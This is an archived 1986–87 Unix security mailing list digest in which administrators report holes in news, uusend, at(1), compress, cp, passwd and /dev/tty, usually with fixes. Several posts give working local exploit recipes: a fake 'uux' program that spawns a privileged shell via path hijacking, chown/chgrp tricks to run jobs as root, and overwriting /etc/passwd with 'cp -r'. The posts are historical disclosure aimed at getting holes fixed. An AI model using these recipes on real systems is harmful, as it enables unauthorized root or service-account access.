The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Unix 'Security Mailing List' - Archives (1984 - 1987)
DOCUMENT: Unix 'Security Mailing List' #24 1987-03-11 (1 file, 12003 bytes)
SOURCE: http://securitydigest.org/exec/display?f=unix/archive/024.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT


Date: Wed, 11 Mar 87 08:10:31 mst
Subject: Security Mailing List, # 24 [repost]

-------
Here is the second half of the 23/24 archive.

Date: Wed, 15 Jan 86 08:38:25 EST
From: cornell!bullwinkle!parmelee (Larry Parmelee)
Subject: Re: Security List?

All of which reminds me....  Here's a moderate hole we stumbled
across a few days ago.  As background, this happened on a Gould
running a hybrid UTX/4.2bsd/4.3bsd system, with news 2.10.3, not
that I think that it matters:  The same thing probably works just
as well with earlier versions of news on more orthodox systems.

Take a look at your local /usr/lib/news/sys file.  This is usually
publicly readable.  Find a line like:

        host:to.host,net,mod,etc:B:

For non-news gurus, this means you exchange the net, mod, and etc
news groups with machine "host", it is running "B" type news, and
(the fact that there is nothing following the ":B:") use the
default command to send the news on to that system.  The default
command, as set up in the news source file defs.h, as distributed, is

        "uux - -r -z %s!rnews < %s"

(Look for "#define DFTXMIT" in defs.h).  Assuming your local
news admin hasn't changed this, all you have to do is create a
dummy uux, make sure its in your search path before the real
uux, and post an article to "host" in one of the news groups
it receives.  Your uux will be executed as the news user!

What happens is simply when "inews" receives your article and
inserts it into the news system, it finds it has to send the
news on to "host".  To do so, it execs the uux command above,
but accidentally finds your dummy uux instead of the real one.
Since "inews" runs setuid and probably setgid as well, whatever
privileges go with that UID and GID have just been given away!

The easiest fix, for all you news admins out there, is to modify
the definition of the default transmission command to specify
the full path name of uux, and be careful about any modified
commands you may put in the sys file.

        -Larry Parmelee
        parmelee@{bullwinkle,gvax}.cs.cornell.edu
        {cmcl2,rochester}!bullwinkle!parmelee
        {allegra,ihnp4,vax135,decvax}!cornell!parmelee

- ----------------------------------------------------------------------------

Date: Tue, 20 Aug 85 22:33:30 est
From: Pat Madden <hao!crnlccsb!seismo!cu-arpa.cs.cornell.edu!harvard!madden>
Subject: Re: One way encryptions

Once upon a time there was a university which decided to use
birthdays as passwords.  A couple of students quickly found
out many passwords by looking at "happy birthday" classifieds
in the paper!
To finish the story, this same university has made passwords
more complicated; they are of the form MMDDxxxx  where MMDD is
the month/day of the person's birthday, and xxxx are the last
four digits of his university ID number (which is not publicly
available!).
  I personally find these 'formulated' passwords insecure, but
they are the only way to process [efficiently] all of the
'request for account' forms that would clog up the accounting
office othrewise.  Has anybody come up with a better system?
- --Pat Madden
  madden%crnlccsb@cu-arpa.cs.cornell.edu

- ----------------------------------------------------------------------------

Date: Wed Jun 25 16:01:32 MDT 1986
From: Lyle McElhaney <cisden!lmc>
Subject: public key encryptions broken

Evi Nemeth, a professor at Colorado University, co-hosted a tutorial at
the Atlanta USENIX conference concerning the practical aspects of network
maintenence.  She mentioned in an aside that she had broken the common
public-key method used to distribute keys for various encryption schemes.
It might be of interest to the list that the public-key method based on a
key size of 127 (128?) bits has indeed been broken, at the cost of several
weekends of time on several (10?) Denelcor HEP 1000 machines (this isn't
advertising; the company went defunct last year) about two years ago.
While HEPs are no longer available to do such work, it might be noted that
there are a number of companies around that have in excess of 100 Sun (or
Sun equivalent) machines lying idle every weekend....

But I'm no expert; maybe Evi would care to comment on methodology.


=============================================================================

Date: Tue, 13 May 86 23:19:08 cdt
From: hao!hplabs!sun!convex!hosking (Doug Hosking)
Subject: crock in 4.2 kern_sig

A user here accidentally stumbled across the following crock in the code in
4.2 BSD kern_sig.c.  A few crashes later, I found and fixed an interesting
bug in argument validation.  Addresses passed to sigvec() (as in user level
signal() handler addreses) are not properly validated by the kernel before
being used.  I'm sure you can imagine the havoc which a bad address might
cause, whether accidental or malicious.  The code which follows should help
to close this hole.  It may look a little strange, but this is because
Convex systems have user addresses which start at 0x80000000, and the
pseudo-addresses which SIG_IGN and friends use start at 0 - which is a
kernel address on a C-1.

        if (uap->nsv) {
                u.u_error =
                    copyin((caddr_t)uap->nsv, (caddr_t)sv, sizeof (vec));
                if (u.u_error)
                        return;
+               /*
+                * Close gaping security hole in original 4.2 BSD code.
+                * SIG_xxx stuff is a kludge, but so is the idea of using
+                * such "addresses" in signal.h.  drh 5/3/86
+                */
+
+               if (!(USERMODE(sv -> sv_handler)))
+                  switch (sv -> sv_handler) {
+                       case 0: break;  /* SIG_DFL      */
+                       case 1: break;  /* SIG_IGN      */
+                       case 2: break;  /* SIG_CATCH    */
+                       case 3: break;  /* SIG_HOLD     */
+                       default:
+                               u.u_error = EFAULT;
+                               return;
+                  }
+
                if (sig == SIGCONT && sv->sv_handler == SIG_IGN) {
                        u.u_error = EINVAL;
                        return;
                }
                setsigvec(sig, sv);
        }
}

----------------------------------------------------------------------------

Date: Mon, 12 May 86 07:26:44 edt
From: udenva!cisden!hao!seismo!topaz!hedrick (Charles Hedrick)
Subject: Bridge terminal servers

Bridge TCP-based terminal servers have a facility that allows you to take
control of one server from another.  This can be useful if someone's
connection has hung on another server, and you want to close it for them,
or to alter parameters on another box.  However their implementation
leaves something to be desired in the way of security.  On your own
server, you have to type a password to get into privileged mode.  But once
you are, you can access any other server, and be privileged there.  The
assumption is that the whole system of servers is secure.  This appears to
mean that any server with access to the Arpanet can take over any other
such server.  It is also possible to write a program that will run on any
normal host that will connect to the port used for this remote control.
When you run this program, it opens the connection, and there you are in
control of the box.

Fortunately, this isn't quite as bad as it sounds.  There is a limit to
the kinds of changes you can make even as a privileged user.  Major
changes require a sysgen, which you can't do.  Nor can you monitor
people's conversations, as far as I know.  But you can open and close
connections on any port, and alter various parameters.  If the
administrator has attempted to restrict a box from having access to the
Arpanet, it is possible that you can circumvent this, depending upon how
it is done.  So the problem is livable, but administrators should at least
know about it.

----------------------------------------------------------------------------

From: hao!hplabs!pesnta!lsuc!dave
Date: Thu, 15 May 86 01:03:15 pdt
Subject: security hole in compress

This security hole exists in compress 3.0, which we are
running, and likely in 4.0 as well. It was pointed out
(and graphically described as below) by Mark Brader, lsuc!msb.

Compress creates its output with default umask, then fixes
the mode at the end.

Victim:                 Snoop:
$ chmod 600 sec
                        $ ls -l sec
                        -rw------- 1 victim   238173 Apr  1 12:00 sec
$ compress sec
                        $ ls -l sec*
                        -rw------- 1 victim   238173 Apr  1 12:00 sec
                        -rw-r--r-- 1 victim     4096 Apr  1 12:25 sec.Z
                        $ ls -l sec*
                        -rw------- 1 victim   238173 Apr  1 12:00 sec
                        -rw-r--r-- 1 victim    20480 Apr  1 12:26 sec.Z
                        $ while cp sec.Z $HOME/xx.Z
                        > do
                        > : ; done
                        cp: cannot open sec.Z: Permission denied
$ ls -l sec*            $ cd; ls -l xx.Z
-rw------- 1 victim   130293 Apr  1 12:00 sec.Z
                        -rw-r--r-- 1 snoop    128000 Apr  1 12:27 xx.Z
                        $ zcat xx.Z

Dave Sherman
lsuc!dave

----------------------------------------------------------------------------

Date: Wed, 14 May 86 22:13:48 PDT
From: scgvaxd!trwrb!desint!geoff (Geoff Kuenning)
Subject: more Bridge security comments

Charles Hedrick pointed out the security problems of Bridge servers, but
thought they weren't too bad.  Unfortunately, one of the commands a Bridge
superuser can do is 'echo' onto any port.  This effectively gives the
intruder the capability to issue commands on behalf of a logged-in
superuser on another machine.

P.S. Just in case nobody else has pointed it out yet, most people who are
replying to your request for confirmation are doing it to cisden!sec-list,
which has the unfortunate side effect of forwarding their replies to all
the rest of us (that's how I saw Charles Hedrick's comments).

[I *think* that's been taken care of - lmc]

        Geoff Kuenning
        {hplabs,ihnp4}!trwrb!desint!geoff

----------------------------------------------------------------------------

From: udenva!isis!onecom!scgvaxd!cadovax!trwrb!ljp (Laura J. Pearlman)
Subject:  Pyramid security problems -- at(1) and the att universe
Date: 13 May 86 11:56:28 PDT (Tue)

I found these two bugs on our Pyramid, which is running OSx version 2.5.
According to the Pyramid support people, they were fixed in OSx3.0 -- I'd
appreciate it if anyone running 3.0 could confirm this.

Problem #1:  If your kernel was compiled without quota support (the "Q"
option to makesys(8)), then anyone can do anything they want as root (or as
any other uid, for that matter).  You can see whether your kernel was
compiled with quota support by typing "att uname -s" -- if you have quota
support, there should be a "Q" somewhere in the system name.

Repeat-by:  Use at(1) to queue up a request for something you shouldn't be
allowed to do.  Then type "att chown root /usr/spool/at/*" and wait for
your at script to execute.

Why it works:  When you use at(1), it creates a command file, owned by you,
in /usr/spool/at.  At (or after) the appointed time, atrun executes the
request file after doing a setuid(2) to the owner of the request file.  If
your kernel was compiled without "quota support", and you're in the att
universe, then the chown(2) system call will let you give away any file you
own.

Possible solutions:  recompile your kernel with quota support or change the
/usr/spool/at directory permissions to 700.

Problem #2:  Anyone can execute anything with whatever group permissions
they want.

Repeat-by:  Use at(1) to queue up a request for something you shouldn't be
allowed to do because of group permissions.  Then type
"att chgrp <whatever> /usr/spool/at/*" and wait for your request to execute.

Why it works:  Atrun does a setgid(2) to the group id of the request file.
The att chgrp(1) command runs setuid and allows you to put any file you own
into any group you wish, regardless of whether you're a member of that
group or not.

Possible solutions:  Change the /usr/spool/at directory permissions to 700
or replace /.attbin/chgrp with a hard link to /.ucbbin/chgrp.

                -- Laura Pearlman
                ...{ucbvax,hplabs,ihnp4,decvax}!trwrb!ljp

----------------------------------------------------------------------------

Date: Mon, 19 May 86 19:57:54 edt
From: hao!hplabs!topaz!pyrnj!romain (Romain Kang)
Subject: uusend setuid hole (bsd)

uusend doesn't do any access checking; it blithely opens its input or
output.  Thus the following are possible:
        1.  read uucp's private files (L.sys, etc)
        2.  write on uucp's files, if uusend or ruusend are permitted
            by system and you have 4.2+ bsd (use symbolic links!)
        3.  get shell setuid to uucp
The first two can be perhaps worked around with an access() call; the
last one could be avoided by specifying an absolute pathname for uux.
With a nonexplicit path, you could put this in your path and call it
"uux":
        main()  /*  quick and crufty, but you get the idea...   */
        {
                setuid(geteuid());
                setgid(getegid());
                close(0); close(1); close(2);
                open("/dev/tty", 2);
                dup(0); dup(1);
                execl("/bin/csh", "uux", "-i", 0);
        }

However, the only part of the uusend process that requires setuid to
uucp is the uux portion, which already is setuid itself.  This is why
I now have uusend on my system mode 111.

I have sent mail to Rick Adams, who maintains BSD uucp, but he has not
acknowledged receipt.

Romain Kang, Pyramid Technology Corporation

Ma Bell:        (201) 750-2626
UUCPnet:        {allegra,cmcl2,pyramid,topaz}!pyrnj!romain

----------------------------------------------------------------------------

From: hao!hplabs!munnari!basser.oz!john
Date: Fri, 23 May ST 09:57:56 EST
Subject: Security publishing

        Two people have mentioned that they believe that the list has
        grown too large to be secure enough to reveal their secrets to the
        list.  [...] I'd rather be warned than kept in the
        dark. What say ye?

yes!!!! so would i. of course there will be ``unauthorized'' people on the
list; i don't think that detracts from its utility. i have a rather
extreme view on this point; i am the author of a regular feature on UNIX
security in the newsletter of the australian UNIX systems users' group
newsletter, and i quote from my initial article:

    We will publish sample code to demonstrate those bugs which require
    programming to exploit.  Such code will be verified before being
    published, and the affected version or versions of UNIX will be
    stated.  Only by clearly identifying security holes can we foster
    their elimination.

in other words, publish it and get it fixed! i don't subscribe to the
``but then binary-only sites are in the poo'' view either; such sites
should complain to their vendor, loudly and quickly. of course, if they
have chosen a poor vendor, they may have a problem. i see this as helping
the good vendors to stay in business, by making the bad ones go out of it.

none of the above should be construed as suggesting that any of your
policies as moderator of the security mailing list should be changed; i'm
just letting you know what i think.

john mackin, systems programmer, dept of comp sci, uni of sydney, australia

----------------------------------------------------------------------------

Date: Tue, 27 May 86 10:21:17 pdt
From: hao!hplabs!caip!uw-beaver!uvicctr!vax-populi!gduncan (Gary Duncan)
Subject: ?Innocent? find(1) bug turned vicious

One of our local sites just had a very nasty experience with find(1). The
daily cron entry that uses find to remove all ordinary files with names
starting with "#" or ending with ".CKP" that haven't been accessed in
three days, ran amuck and destroyed 99% of the files in two filesystems.
We initially thought it might be a security breach, but finally traced it
to a bug in find.  The problem is that the character array "Pathname" is
declared with a length of "200". For those of you with the Mt.  Xinu bug
list it is bug usr.bin/59 as reported by decvax!popvax!neilr (9 May 84).

The reported bug (and fix -- change "200" to "MAXPATHLEN+1") only notes
that you get a segmentation fault and a core dump (didn't we wish). What
happened in our case is that the offending (garbage) pathname just
overflowed into the predicate list data structure "Node" (which
immediately follows "Pathname") replacing the first entry with a valid one
that caused find to match all file names.  An experiment where the length
of the path was two characters shorter did cause the reported segmentation
fault.

What led us to suspect a security breach was that the removals were
confined to only two of the user filesystems, and all accounts in both
were affected.  Directories (although now almost always empty) and (most)
"." files were still around.  This made it look like someone did "rm * */*
..." as root.  There were however a few ordinary files left, which seemed
to blow holes in this theory.  It just so happened that the offending file
was almost the first file (using directory order) on the first of these
affected filesystem, and these were themselves last (again directory
order) overall.  Also all the remaining "." and other files were recently
accessed (eg. on login, etc.) except for the very few before the offending
file.

This happened under 4.2BSD but probably exists in others.  I strongly
urge all sites to check for and fix this bug.  Any knowledgeable user
could create the necessary magic file name and plant it in an innocent
and early place.
--
Gary Duncan, Dept of CS, U of Victoria, Victoria BC, CANADA (604) 721-7302
uucp:   {ubc-vision,uw-beaver,ssc-vax}!uvicctr!vax-populi!gduncan
~arpa:  vax-populi!gduncan@nrl-css.ARPA
ean:    gduncan@vax-populi.UVic.CDN
bitnet: gduncan@uvunix

----------------------------------------------------------------------------

Date: Thu, 5 Jun 86 11:15:54 pdt
From: hao!seismo!hplabs!ucbvax!ucscc!haynes (99700000)
Subject: I keep wondering

and have heard a rumor or two about possibly a security problem connected
with /dev/tty.  The open routine for /dev/tty simply looks in the u_
structure for the control tty, and then goes thru cdevsw to open the
actual tty.  All the permission checking is done on /dev/tty first,
which is read/write for everybody.

Suppose a process is running in the background and periodically
opens /dev/tty after the guy who started it logs out.  I presume
the open succeeds if the actual tty is openable, which it will be
if it has the modem carrier line turned on or is hardwired.  Now
what happens if the background job tries to read from the tty?

...ucbvax!ucscc!haynes
   haynes@ucscc.bitnet

----------------------------------------------------------------------------

Date: Thu, 5 Jun 86 14:19:50 pdt
From: hao!seismo!hplabs!ucbvax!ucscc!haynes (99700000)
Subject: Followup on the /dev/tty story

Well I haven't been smart enough to read something from another user's
tty yet, but here's a program that will harass another user.

#include <stdio.h>
#include <sys/types.h>
#include <sys/file.h>
extern int errno;

main()
{

        int ttyfd; 
        FILE *logf;
        int writeresult;

        logf = fopen("log","w");
        if (logf == NULL)
                printf("can't open log\n");
        fprintf(logf, "pid = %d\n", getpid());
hell:
        ttyfd = open("/dev/tty", O_RDWR);
        if (ttyfd < 0)
                fprintf(logf, "can't open /dev/tty\n");
        else {
                fprintf(logf, "opened /dev/tty\n");
                writeresult = write(ttyfd, "mumble\n", 7);
                if (writeresult < 0)
                        fprintf(logf, "write failed errno %d\n", errno);
        }
        sleep(5);
        if (ttyfd >= 0)
                close(ttyfd);
        fflush(logf);
goto hell;
}

What I'm gonna try as a partial solution, and I haven't been able to test it
yet, is, in sys/tty_tty.c (4.2 system, something else in V7)

in syopen()

after the test for u.u_ttyp

        if (u.u_ttyp->t_pgrp != u.u_procp->p_pgrp)
                return (EPERM);

I druther test for uid, because using the pgrp might break something that
should work, but I don't know how to find out the uid of the tty.

Jim Haynes
   ...ucbvax!ucscc!haynes
      haynes@ucscc.BITNET

----------------------------------------------------------------------------

Date: Thu, 5 Jun 86 21:59:40 pdt
From: hao!seismo!hplabs!ucbvax!ucscc!haynes (99700000)
Subject: Well that didn't work

so you can scratch my attempted fix for the /dev/tty problem.  I got
a chance to test it, and it won't let /dev/tty be opened at all, so I 
guess the pgrp numbers are not in agreement.  pgrp is the wrong
thing to use anyway, it's just that I don't know yet how to get my
hands on the uid of the tty.

haynes

----------------------------------------------------------------------------

Date: Thu, 26 Jun 86 11:19:54 EDT
From: hao!seismo!harvard!bu-cs!bzs (Barry Shein)
Subject: Re: creating new user accounts

We wrote a program used here at BU which allows setting up an account
"new" (whatever) which has no password.  The shell is my program and it is
captive (can't be escaped from w/o just logging out.)

A student walks up to any terminal, logs into this account and enters the
info for a new account (name, class, id, password which is saved
encrypted, etc.) It checks some things like making sure the requested
login name is unique, the class really exists etc as the data is entered.

The program does not create the account, only saves the "request" in a
passwd-like file kept in ~new.  Later we can run a batch program to create
all the account requests AFTER going through it and verifying the requests
are legitimate (generally by common sense [hmmm, Mickey Mouse STILL hasn't
graduated!] and giving the list to the instructor to check against the
class list.)

The obvious weakness is that a student can rush in and create an account
for another student, we presume the real student would complain soon
enough and being as the accounts are non-priv'd we're not all that
concerned (if the bogus acct starts doing something obnoxious we'd
hopefully notice that, if not, well hell, some kid is learning UNIX
!without proper authority!, not gonna lose a lot of sleep over it.)

I would imagine you could easily buoy up such a system by not enabling the
account until the student showed up personally with an ID card.

The question was:  How to create initial passwords.  We don't, they do.
It's been in use around 6 terms and haven't had any problems so far (none
that I know of.)

        -Barry Shein, Boston University

----------------------------------------------------------------------------

Date: Thu, 26 Jun 86 15:12:30 PDT
From: scgvaxd!trwrb!desint!geoff (Geoff Kuenning)
Subject: choosing passwords in large numbers

Pat Madden asks for suggestions on how to assign passwords to large numbers
of students.  I think the most practical approach is not to try to come up
with an unguessable password at all.  In fact, one site I know of assigned
an initial password equal to the user name!  You were expected to log on
fairly quickly and change the password to something that really was
unguessable.

In today's hack-and-crack environment, I don't think we should be quite
this lackadaisical.  But the scheme Pat suggested, concatenating birthdate
with student ID number, might be secure enough for a short time.  For a
longer period, force everybody to change their password.  (For example,
one could squirrel away a copy of /etc/passwd;  later 'diff' or 'comm'
could be used to find out whose passwords were unchanged, and they could
be harassed using other mechanisms.)

Another approach is to make user ID's non-mnemonic (e.g., my ID on the
Source is TCS945).  This enhances security (and "dehances" e-mail) by
making it harder to associate and account with an individual.  It also
opens the door to distribution of accounts at random:  the student gets
a sealed envelope from a pile, which contains a random ID and random
password.  The password can be changed to something more memorable;  the
ID can be made easy to remember by using "license-plate" naming schemes
like the Source does.  This approach is more secure, but has the
disadvantage that a separate after-the-fact operation is required to
administratively correlate ID's with individuals.

        Geoff Kuenning
        {hplabs,ihnp4}!trwrb!desint!geoff

----------------------------------------------------------------------------

Date: Thu, 26 Jun 86 11:02:20 cdt
From: hao!ihnp4!infoswx!bees (Ray Davis)
Subject: Re: One way encryptions (from #23)

>To finish the story, this same university has made passwords
>more complicated; they are of the form MMDDxxxx  where MMDD is
>the month/day of the person's birthday, and xxxx are the last
>four digits of his university ID number (which is not publicly
>available!). 
>  I personally find these 'formulated' passwords insecure, but
>they are the only way to process [efficiently] all of the
>'request for account' forms that would clog up the accounting
>office othrewise.  Has anybody come up with a better system?
>- --Pat Madden

Why formulate the passwords based on anything real?  At Colorado State
University way back when all we had were a couple of CDC Cyber 172s, we
received separate accounts for every class.  The name and password for
each account was randomly generated.  The prof would receive a list of
everyone in the class along with their account and password, and pass them
out the first day.  This seems simple enough, and doesn't cause any major
problems.

If your machines are System V Release 2, then you have password aging.
You could set up accounts with formulated passwords, but with expired
aging strings.  This way the user is forced to change his password the
first time he logs in.

I agree with you that any formulated password that remains for very long
becomes a security problem.

Ray Davis,  Teknekron Infoswitch,  1784 Firman Drive,  Richardson Texas 75081
uucp: {ihnp4, allegra!convex}!infoswx!bees                       214/644-0570
arpa: infoswx!bees%ti-csl@csnet-relay.arpa         csnet: infoswx!bees@ti-csl

----------------------------------------------------------------------------

Date: Thu, 26 Jun 86 17:27:05 WET DST
From: Andrew Findlay <seismo!mcvax!blade.me.brunel.ac.uk!andrew>
Subject: /etc/passwd lockup

It is possible for any user on a vanilla 4.2Bsd VAX to lock up the password
file. This is not a direct threat to security, but it does stop anyone else
changing passwords.

Repeat-by:

limit filesize 1
passwd
...

The lock file /etc/ptmp gets created and the first 1k of /etc/passwd is
copied into it. The filesize limit then kills the process, leaving the
lock file.

Fix:

This problem does not occur with chsh or chfn, which are both Berkeley-
written. Just copy the code that sets the CPU time and filesize limits
to infinity.

Andrew

| From Andrew Findlay at Brunel University, Uxbridge, UB8 3PH, UK       |
| JANET: andrew@uk.ac.brunel.me    ARPA:  andrew%me.brunel.ac.uk@ucl-cs |
| UUCP:  ...ukc!me.brunel!andrew   PHONE: +44 895 74000 x2512           |

----------------------------------------------------------------------------

Date: Fri, 27 Jun 86 11:06:21 edt
From: Dave Martindale <hao!seismo!harvard!cca!linus!watmath!onfcanim!dave>
Subject: Re: more mv with suid bit on

> From: hao!seismo!munnari!basser.oz!john
> > From: ihnp4!decvax!cwruecmp!nitrex!rob
> >
> > A friend just pointed this out, I don't really know if it is old news or not,
> > but on the Unix Pc the system software is shipped with the set uid bit
> > set on /bin/mv.
> 
> Sigh.  This is NOT (or at least should not be) a security hole; have you
> ACTUALLY TRIED mv'ing things that you shouldn't have had permission to mv?
> If not, for shame, mv is supposed to do all the right checks.  If so (and
> I assume by Unix PC you mean 3B2, do please be more specific) then this
> machine's mv is seriously broken, but the fact that it is setuid-root
> is no accident, it *needs* that power.

We have Silicon Graphics IRISes, running a version of System V.  On them,
mv, cp, and ln are three links to the same program and it is setuid root
because it needs the permissions for mv.  But it *is* seriously broken.

A user noticed that after doing a "cp -r" all the resulting files were
owned by root, not the original owner nor the person invoking cp.

I said "Hmm", and typed the following:

        mkdir /tmp/etc
        cp /etc/passwd /tmp/etc
        vi /tmp/etc/passwd              /* delete root's password */
        cp -r /tmp/etc /

It happily overwrote the real /etc/passwd, even though trying just "cp"
rather than "cp -r" gave the expected "no permission".

Since we have binaries only, I couldn't investigate the problem
further, so I removed the setuid.  I called SGI to report the problem
but no one could come to the phone right then and no one has called me
back yet.  I suppose I should try again.

Since this is a version of system V on an entirely different machine,
it suggests that the problem may be in a common ancestor (System V itself?)
rather than just the ports on the UNIX PC and IRIS.

        Dave Martindale
        {watmath,musocs}!onfcanim!dave

END OF DOCUMENT